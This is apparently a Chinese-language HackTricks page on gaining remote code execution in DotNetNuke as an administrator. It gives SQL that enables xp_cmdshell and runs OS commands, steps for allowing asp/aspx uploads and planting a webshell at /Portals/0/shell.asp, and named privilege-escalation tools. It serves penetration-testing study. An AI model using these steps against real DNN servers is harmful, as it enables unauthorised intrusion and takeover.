DotNetNuke (DNN)
Reading time: 2 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
DotNetNuke (DNN)
如果您以 administrator 身份登录 DNN,获取 RCE 非常简单。
RCE
通过 SQL
在 Settings
页面下可以访问 SQL 控制台,您可以启用 xp_cmdshell
并 运行操作系统命令。
使用以下行来启用 xp_cmdshell
:
sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
然后,按 "Run Script" 运行该 SQL 语句。
接着,使用以下内容运行操作系统命令:
sql
xp_cmdshell 'whoami'
通过 ASP webshell
在 Settings -> Security -> More -> More Security Settings
中,您可以在 Allowable File Extensions
下 添加新的允许扩展名,然后点击 Save
按钮。
添加 asp
或 aspx
,然后在 /admin/file-management
上传一个名为 shell.asp
的 asp webshell。
然后访问 /Portals/0/shell.asp
以访问您的 webshell。
权限提升
您可以使用 Potatoes 或 PrintSpoofer 例如 提升权限。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。